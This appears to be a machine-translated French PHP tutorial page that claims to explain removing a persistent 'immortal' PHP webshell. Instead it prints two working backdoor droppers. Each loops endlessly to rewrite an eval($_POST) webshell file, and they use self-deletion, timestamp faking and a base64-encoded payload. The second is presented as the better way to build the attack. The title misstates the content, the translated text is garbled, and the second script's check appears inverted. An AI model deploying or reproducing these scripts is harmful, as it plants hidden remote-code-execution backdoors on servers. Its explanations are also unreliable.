Maison >développement back-end >Problème PHP >Comment supprimer le cheval immortel php

Comment supprimer le cheval immortel php

(*-*)浩
(*-*)浩original
2019-10-10 10:13:414674parcourir

Comment supprimer le cheval immortel php

Qu'est-ce qu'un cheval immortel ?

Le cheval de mémoire, en termes simples, est un cheval immortel. Il exécute un programme qui ne se termine jamais et réside dans le processus PHP, s'exécutant indéfiniment.

Processus de génération (Apprentissage recommandé : Tutoriel vidéo PHP)

Immortal Horse.php → Télécharger sur le serveur → Fichier d'exécution du serveur → Serveur local illimité Génération de boucle (une phrase.php)

Le cheval immortel qui circule sur Internet

<?php ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = &#39;2.php&#39;;
$code = &#39;<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>&#39;;while (1){
    file_put_contents($file,$code);
    system(&#39;touch -m -d "2018-12-01 09:10:12" .2.php&#39;);
    usleep(5000);
} 
?>

Le cheval immortel qui circule sur Internet, alors qu'il ne juge pas cela file S'il existe, il me suffit de commenter le shell dans ce fichier pour contourner votre cheval de Troie mémoire.

La posture correcte devrait être comme ceci :

Copy<?php
 ignore_user_abort(true);
 set_time_limit(0);
 $file = &#39;c.php&#39;;
 $code = base64_decode(&#39;PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+&#39;); while(true) {     if(md5(file_get_contents($file))===md5($code)) {
         file_put_contents($file, $code);
     }
     usleep(50);
 }?>

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn